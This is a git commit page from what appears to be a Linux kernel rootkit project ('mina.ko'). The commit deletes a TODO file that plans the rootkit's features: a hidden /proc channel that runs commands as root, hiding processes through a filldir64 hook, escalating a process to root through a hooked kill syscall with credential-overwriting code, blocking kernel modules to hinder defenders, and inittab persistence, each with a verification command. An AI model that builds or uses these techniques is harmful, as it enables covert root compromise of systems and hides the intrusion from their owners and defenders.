mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
commit 379d2e672ffb84dcf8ec5d476c89da24e06bf7b6
parent b55a5e95c9e1adacf4c96371c6f8c14b795f6418
Author: djnn <[email protected]>
Date: Fri, 13 Mar 2026 20:30:59 +0900

remove todo.txt

Diffstat:
TODO.txt
120
-------------------------------------------------------------------------------
1 file changed, 0 insertions(+), 120 deletions(-)
diff --git a/TODO.txt b/TODO.txt
@@ -1,120 +0,0 @@
-================================================================================
-  mina.ko — TODO
-================================================================================
-
-PHASE 0 — BUG FIXES (do first)
---------------------------------------------------------------------------------
-stealth.c:42
-  Missing semicolon:
-    printk(KERN_INFO "[mina] module-name is null !") return;
-  Fix:
-    printk(KERN_INFO "[mina] module-name is null !"); return;
-
-mina.c:113
-  `settings` is a stack struct, not a pointer. Arrow operator is wrong:
-    settings->enable_file_hide = (!settings->enable_file_hide);
-  Fix:
-    settings.enable_file_hide = (!settings.enable_file_hide);
-
-================================================================================
-
-PHASE 1 — COVERT /proc COMMAND CHANNEL
---------------------------------------------------------------------------------
-New file: rootkit/sources/cmd.c
-  - proc_create("mina_cmd", 0666, NULL, &mina_cmd_fops)
-  - .write  → parse cmd string, exec via call_usermodehelper (redirect
-              stdout/stderr to tmpfile), read output into static 4096-byte buf
-  - .read   → copy_to_user from output buffer
-  - Entry is auto-hidden: name starts with "mina", existing filldir64 hook
-    covers it
-
-Modify: rootkit/includes/mina.h
-  - Declare: int cmd_init(void);
-  - Declare: void cmd_cleanup(void);
-
-Modify: rootkit/sources/mina.c
-  - Call cmd_init() in module_start()
-  - Call cmd_cleanup() in module_end()
-
-Modify: rootkit/Makefile
-  - Add sources/cmd.o to mina_$(MINA_CLIENT_ID)-objs
-
-New file: client/mina-cli.c
-  - Open /proc/mina_cmd
-  - Write argv[1] (or stdin) to fd
-  - Read response, print to stdout
-
-Verification:
-  echo "id" > /proc/mina_cmd && cat /proc/mina_cmd   # expect uid=0(root)
-  ls /proc | grep mina_cmd                            # expect nothing
-
-================================================================================
-
-PHASE 2 — PROCESS HIDING
---------------------------------------------------------------------------------
-Modify: rootkit/sources/stealth.c
-  - Add struct st_hide_pid / LIST_HEAD(hide_pids) parallel to hide_files
-  - Extend hook_filldir64: if entry name is all-digits and matches a pid in
-    hide_pids, return true (hide it)
-  - Add pid_hide(pid_t pid) / pid_unhide(pid_t pid)
-
-Modify: rootkit/includes/mina.h
-  - #define SIG_HIDE_PID   (90)
-  - #define SIG_UNHIDE_PID (91)
-  - Declare: void pid_hide(pid_t pid);
-  - Declare: void pid_unhide(pid_t pid);
-
-Modify: rootkit/sources/mina.c
-  - hooked_kill_syscall: add cases for SIG_HIDE_PID and SIG_UNHIDE_PID
-    (target pid is already in regs->di)
-
-Verification:
-  kill -90 <pid>   → process gone from `ps aux`, /proc/<pid> → ENOENT
-  kill -91 <pid>   → process reappears
-
-================================================================================
-
-PHASE 3 — PRIVILEGE ESCALATION
---------------------------------------------------------------------------------
-Modify: rootkit/sources/mina.c
-  - Add case SIG_ESCALATE in hooked_kill_syscall:
-      struct task_struct *task = find_task_by_vpid(pid);
-      struct cred *new = prepare_creds();
-      // zero uid/gid/euid/egid/suid/sgid/fsuid/fsgid + caps
-      commit_creds(new);
-
-Modify: rootkit/includes/mina.h
-  - #define SIG_ESCALATE (95)
-
-Verification:
-  kill -95 <pid>   → `id` in that shell shows uid=0(root)
-
-================================================================================
-
-PHASE 4 — MODULE LOAD BLOCKING
---------------------------------------------------------------------------------
-Modify: rootkit/sources/mina.c
-  - hook_init_module / hook_finit_module currently return 0 (stubs)
-  - Add static blocklist (linked list of module name strings)
-  - In hook body: copy_from_user ELF header → read module name
-  - If name in blocklist → return -EPERM
-  - Manage blocklist via /proc/mina_cmd (e.g. "block <modname>",
-    "unblock <modname>") rather than new signals
-
-Verification:
-  insmod <blocked>.ko   → -EPERM
-
-================================================================================
-
-SIGNAL MAP (final)
---------------------------------------------------------------------------------
-  50   Install persistence (inittab)
-  60   Toggle module hide
-  70   Toggle file hide
-  90   Hide PID          (Phase 2)
-  91   Unhide PID        (Phase 2)
-  95   Escalate PID→root (Phase 3)
-
-  Commands (exec, block/unblock modules) → /proc/mina_cmd  (Phase 1)
-
-================================================================================